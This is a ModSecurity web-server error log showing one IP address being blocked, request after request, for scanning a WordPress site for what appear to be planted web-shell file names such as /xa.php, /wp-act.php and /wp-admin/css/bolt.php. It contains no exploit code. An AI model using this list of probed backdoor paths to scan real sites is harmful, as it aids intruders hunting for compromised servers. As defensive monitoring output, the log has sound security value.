[Sat Apr 25 21:01:01.370298 2026] [:error] [pid 3212:tid 3222] [client 74.248.33.118:57288] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aey7Dfg-28TY8_YLtUclwgAAAQg"]
[Sat Apr 25 21:01:02.019163 2026] [:error] [pid 59896:tid 59914] [client 74.248.33.118:59809] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aey7DrLLzhtkd-OXUgDpMgAAAE4"]
[Sat Apr 25 21:01:02.800054 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:56197] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aey7Dvg-28TY8_YLtUclxgAAARY"]
[Sat Apr 25 21:01:04.064819 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:59851] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aey7EPg-28TY8_YLtUclyQAAAQc"]
[Sat Apr 25 21:01:05.047717 2026] [:error] [pid 59896:tid 59912] [client 74.248.33.118:61859] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aey7EbLLzhtkd-OXUgDpOQAAAEw"]
[Sat Apr 25 21:01:06.236961 2026] [:error] [pid 3212:tid 3225] [client 74.248.33.118:59849] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "aey7Evg-28TY8_YLtUclygAAAQs"]
[Sat Apr 25 21:01:07.212854 2026] [:error] [pid 59897:tid 59951] [client 74.248.33.118:57336] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aey7E_BrrkdzpEbmK4eAswAAAJg"]
[Sat Apr 25 21:01:08.077242 2026] [:error] [pid 59897:tid 59947] [client 74.248.33.118:61850] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aey7FPBrrkdzpEbmK4eAtQAAAJQ"]
[Sat Apr 25 21:01:09.029282 2026] [:error] [pid 59898:tid 59954] [client 74.248.33.118:58600] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aey7FR-4vImxb0kbdzeopQAAAMA"]
[Sat Apr 25 21:01:09.849356 2026] [:error] [pid 59898:tid 59978] [client 74.248.33.118:61536] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aey7FR-4vImxb0kbdzeopgAAANg"]
[Sat Apr 25 21:01:10.983762 2026] [:error] [pid 59898:tid 59972] [client 74.248.33.118:59813] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aey7Fh-4vImxb0kbdzeopwAAANI"]
[Sat Apr 25 21:01:11.727225 2026] [:error] [pid 59897:tid 59936] [client 74.248.33.118:57330] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aey7F_BrrkdzpEbmK4eAuQAAAIk"]
[Sat Apr 25 21:01:12.929437 2026] [:error] [pid 3212:tid 3223] [client 74.248.33.118:58406] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aey7GPg-28TY8_YLtUcl1AAAAQk"]
[Sat Apr 25 21:01:13.831214 2026] [:error] [pid 3212:tid 3232] [client 74.248.33.118:61836] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aey7Gfg-28TY8_YLtUcl1wAAARI"]
[Sat Apr 25 21:01:14.637085 2026] [:error] [pid 59897:tid 59939] [client 74.248.33.118:61865] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aey7GvBrrkdzpEbmK4eAuwAAAIw"]
[Sat Apr 25 21:01:15.546176 2026] [:error] [pid 3212:tid 3230] [client 74.248.33.118:56217] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aey7G_g-28TY8_YLtUcl3gAAARA"]
[Sat Apr 25 21:01:16.694277 2026] [:error] [pid 3212:tid 3231] [client 74.248.33.118:9639] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aey7HPg-28TY8_YLtUcl5AAAARE"]
[Sat Apr 25 21:01:18.076704 2026] [:error] [pid 3212:tid 3234] [client 74.248.33.118:61826] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aey7Hvg-28TY8_YLtUcl6AAAARQ"]
[Sat Apr 25 21:01:20.410401 2026] [:error] [pid 3212:tid 3220] [client 74.248.33.118:61853] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aey7IPg-28TY8_YLtUcl8AAAAQY"]
[Sat Apr 25 21:01:22.512384 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:57340] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aey7Ivg-28TY8_YLtUcl-AAAAQU"]
[Sat Apr 25 21:01:24.620342 2026] [:error] [pid 59896:tid 59903] [client 74.248.33.118:57333] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aey7JLLLzhtkd-OXUgDpSQAAAEM"]
[Sat Apr 25 21:01:25.358215 2026] [:error] [pid 59896:tid 59900] [client 74.248.33.118:57280] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aey7JbLLzhtkd-OXUgDpSwAAAEA"]
[Sat Apr 25 21:01:26.032487 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:59842] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aey7Jvg-28TY8_YLtUcl_wAAAQc"]
[Sat Apr 25 21:01:26.986009 2026] [:error] [pid 59985:tid 60008] [client 74.248.33.118:61845] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aey7JgF_zDvEhKvyTH6p7gAAABU"]
[Sat Apr 25 21:01:27.704360 2026] [:error] [pid 59896:tid 59908] [client 74.248.33.118:58538] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aey7J7LLzhtkd-OXUgDpTAAAAEg"]
[Sat Apr 25 21:01:28.364886 2026] [:error] [pid 59898:tid 59956] [client 74.248.33.118:59796] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aey7KB-4vImxb0kbdzeorAAAAMI"]
[Sat Apr 25 21:01:28.944414 2026] [:error] [pid 59896:tid 59921] [client 74.248.33.118:58620] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aey7KLLLzhtkd-OXUgDpTQAAAFU"]
[Sat Apr 25 21:01:29.624707 2026] [:error] [pid 59897:tid 59934] [client 74.248.33.118:61544] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aey7KfBrrkdzpEbmK4eAxAAAAIc"]
[Sat Apr 25 21:01:30.408079 2026] [:error] [pid 59896:tid 59904] [client 74.248.33.118:58507] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aey7KrLLzhtkd-OXUgDpTgAAAEQ"]
[Sat Apr 25 21:01:31.080185 2026] [:error] [pid 59896:tid 59912] [client 74.248.33.118:59883] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aey7K7LLzhtkd-OXUgDpTwAAAEw"]
[Sat Apr 25 21:01:31.740716 2026] [:error] [pid 59898:tid 59970] [client 74.248.33.118:58550] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aey7Kx-4vImxb0kbdzeorQAAANA"]
[Sat Apr 25 21:01:32.554070 2026] [:error] [pid 59896:tid 59910] [client 74.248.33.118:57331] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aey7LLLLzhtkd-OXUgDpUgAAAEo"]
[Sat Apr 25 21:01:33.202534 2026] [:error] [pid 3212:tid 3226] [client 74.248.33.118:58544] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aey7Lfg-28TY8_YLtUcmCAAAAQw"]
[Sat Apr 25 21:01:34.177645 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:57241] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aey7Lvg-28TY8_YLtUcmDwAAAQc"]
[Sat Apr 25 21:01:35.048881 2026] [:error] [pid 59897:tid 59943] [client 74.248.33.118:59811] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aey7L_BrrkdzpEbmK4eAxwAAAJA"]
[Sat Apr 25 21:01:35.818421 2026] [:error] [pid 3212:tid 3223] [client 74.248.33.118:58611] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aey7L_g-28TY8_YLtUcmEwAAAQk"]
[Sat Apr 25 21:01:37.024511 2026] [:error] [pid 59896:tid 59900] [client 74.248.33.118:57326] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aey7MbLLzhtkd-OXUgDpVwAAAEA"]
[Sat Apr 25 21:01:38.127833 2026] [:error] [pid 59896:tid 59919] [client 74.248.33.118:58592] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aey7MrLLzhtkd-OXUgDpWAAAAFM"]
[Sat Apr 25 21:01:38.700367 2026] [:error] [pid 3212:tid 3216] [client 74.248.33.118:59795] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aey7Mvg-28TY8_YLtUcmGwAAAQI"]
[Sat Apr 25 21:01:39.641845 2026] [:error] [pid 3212:tid 3217] [client 74.248.33.118:61543] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aey7M_g-28TY8_YLtUcmHwAAAQM"]
[Sat Apr 25 21:02:32.054623 2026] [:error] [pid 59896:tid 59913] [client 74.248.33.118:61534] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aey7aLLLzhtkd-OXUgDpmAAAAE0"]
[Sat Apr 25 21:02:43.733913 2026] [:error] [pid 59896:tid 59900] [client 74.248.33.118:61873] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aey7c7LLzhtkd-OXUgDpuQAAAEA"]
[Sat Apr 25 21:02:44.738982 2026] [:error] [pid 59985:tid 59998] [client 74.248.33.118:57337] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aey7dAF_zDvEhKvyTH6qRQAAAAs"]
[Sat Apr 25 21:02:45.624668 2026] [:error] [pid 3212:tid 3238] [client 74.248.33.118:58593] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aey7dfg-28TY8_YLtUcmxAAAARg"]
[Sat Apr 25 21:02:47.067040 2026] [:error] [pid 59896:tid 59909] [client 74.248.33.118:61551] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aey7d7LLzhtkd-OXUgDpvgAAAEk"]
[Sat Apr 25 21:02:47.709763 2026] [:error] [pid 59896:tid 59918] [client 74.248.33.118:59802] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aey7d7LLzhtkd-OXUgDpwQAAAFI"]
[Sat Apr 25 21:02:48.397473 2026] [:error] [pid 3212:tid 3225] [client 74.248.33.118:57293] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aey7ePg-28TY8_YLtUcmxgAAAQs"]
[Sat Apr 25 21:02:49.125251 2026] [:error] [pid 59985:tid 60001] [client 74.248.33.118:61539] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aey7eQF_zDvEhKvyTH6qSAAAAA4"]
[Sat Apr 25 21:02:50.245341 2026] [:error] [pid 59985:tid 60010] [client 74.248.33.118:57283] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aey7egF_zDvEhKvyTH6qTAAAABc"]
[Sat Apr 25 21:02:50.853007 2026] [:error] [pid 59985:tid 60004] [client 74.248.33.118:57311] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aey7egF_zDvEhKvyTH6qTQAAABE"]
[Sat Apr 25 21:02:51.506007 2026] [:error] [pid 59985:tid 60011] [client 74.248.33.118:61868] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aey7ewF_zDvEhKvyTH6qUAAAABg"]
[Sat Apr 25 21:02:52.091254 2026] [:error] [pid 3212:tid 3231] [client 74.248.33.118:57245] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aey7fPg-28TY8_YLtUcmyQAAARE"]
[Sat Apr 25 21:02:52.784086 2026] [:error] [pid 59898:tid 59956] [client 74.248.33.118:58526] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aey7fB-4vImxb0kbdzeo3gAAAMI"]
[Sat Apr 25 21:02:53.738665 2026] [:error] [pid 3212:tid 3222] [client 74.248.33.118:58557] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aey7ffg-28TY8_YLtUcmzQAAAQg"]
[Sat Apr 25 21:02:54.500700 2026] [:error] [pid 3212:tid 3224] [client 74.248.33.118:59848] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aey7fvg-28TY8_YLtUcm0AAAAQo"]
[Sat Apr 25 21:02:56.439396 2026] [:error] [pid 59896:tid 59922] [client 74.248.33.118:59798] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aey7gLLLzhtkd-OXUgDp2gAAAFY"]
